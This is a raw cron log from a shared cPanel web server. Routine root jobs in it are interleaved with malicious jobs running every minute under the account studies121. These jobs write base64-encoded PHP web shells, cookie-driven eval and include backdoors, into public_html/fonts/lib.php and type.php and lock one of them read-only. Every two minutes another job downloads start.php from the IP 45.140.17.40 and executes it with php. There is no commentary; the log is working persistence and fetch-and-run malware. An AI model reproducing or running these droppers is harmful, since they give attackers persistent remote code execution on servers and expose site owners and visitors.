Sep 10 19:53:01 ip-184-168-122-23 CROND[743]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 19:54:01 ip-184-168-122-23 CROND[919]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 19:54:01 ip-184-168-122-23 CROND[922]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 19:54:01 ip-184-168-122-23 CROND[926]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:54:01 ip-184-168-122-23 CROND[921]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:54:01 ip-184-168-122-23 CROND[925]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 19:55:02 ip-184-168-122-23 CROND[1028]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 19:55:02 ip-184-168-122-23 CROND[1030]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 19:55:02 ip-184-168-122-23 CROND[1031]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 19:55:02 ip-184-168-122-23 CROND[1033]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:55:02 ip-184-168-122-23 CROND[1032]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:55:02 ip-184-168-122-23 CROND[1034]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 19:56:01 ip-184-168-122-23 CROND[1177]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 19:56:01 ip-184-168-122-23 CROND[1179]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:56:01 ip-184-168-122-23 CROND[1181]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 19:56:01 ip-184-168-122-23 CROND[1182]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 19:56:01 ip-184-168-122-23 CROND[1183]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:57:01 ip-184-168-122-23 CROND[1282]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 19:57:01 ip-184-168-122-23 CROND[1283]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 19:57:01 ip-184-168-122-23 CROND[1287]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:57:01 ip-184-168-122-23 CROND[1286]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:58:01 ip-184-168-122-23 CROND[1385]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 19:58:01 ip-184-168-122-23 CROND[1387]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:58:01 ip-184-168-122-23 CROND[1388]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:58:01 ip-184-168-122-23 CROND[1389]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 19:58:01 ip-184-168-122-23 CROND[1390]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 19:59:01 ip-184-168-122-23 CROND[1601]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 19:59:01 ip-184-168-122-23 CROND[1603]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:59:01 ip-184-168-122-23 CROND[1602]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:59:01 ip-184-168-122-23 CROND[1604]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 20:00:01 ip-184-168-122-23 CROND[1701]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 20:00:01 ip-184-168-122-23 CROND[1702]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 10 20:00:01 ip-184-168-122-23 CROND[1705]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 20:00:01 ip-184-168-122-23 CROND[1703]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:00:01 ip-184-168-122-23 CROND[1710]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 20:00:01 ip-184-168-122-23 CROND[1711]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 20:00:01 ip-184-168-122-23 CROND[1717]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 20:00:01 ip-184-168-122-23 CROND[1714]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 20:00:01 ip-184-168-122-23 CROND[1715]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:01:01 ip-184-168-122-23 CROND[1823]: (root) CMD (run-parts /etc/cron.hourly)
Sep 10 20:01:01 ip-184-168-122-23 CROND[1824]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[1823]: starting 0anacron
Sep 10 20:01:01 ip-184-168-122-23 CROND[1829]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 20:01:01 ip-184-168-122-23 CROND[1833]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:01:01 ip-184-168-122-23 CROND[1832]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 20:01:01 ip-184-168-122-23 CROND[1835]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 20:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[1843]: finished 0anacron
Sep 10 20:02:01 ip-184-168-122-23 CROND[1942]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 20:02:01 ip-184-168-122-23 CROND[1945]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:02:01 ip-184-168-122-23 CROND[1946]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 20:02:01 ip-184-168-122-23 CROND[1947]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:02:01 ip-184-168-122-23 CROND[1944]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 20:03:01 ip-184-168-122-23 CROND[2033]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:03:02 ip-184-168-122-23 CROND[2035]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 20:03:02 ip-184-168-122-23 CROND[2039]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:03:02 ip-184-168-122-23 CROND[2038]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 20:04:01 ip-184-168-122-23 CROND[2123]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 20:04:01 ip-184-168-122-23 CROND[2125]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:04:01 ip-184-168-122-23 CROND[2128]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:04:01 ip-184-168-122-23 CROND[2126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 20:04:01 ip-184-168-122-23 CROND[2127]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 20:05:01 ip-184-168-122-23 CROND[2302]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 20:05:01 ip-184-168-122-23 CROND[2304]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 20:05:01 ip-184-168-122-23 CROND[2307]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 20:05:01 ip-184-168-122-23 CROND[2309]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:05:01 ip-184-168-122-23 CROND[2310]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 20:05:01 ip-184-168-122-23 CROND[2311]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
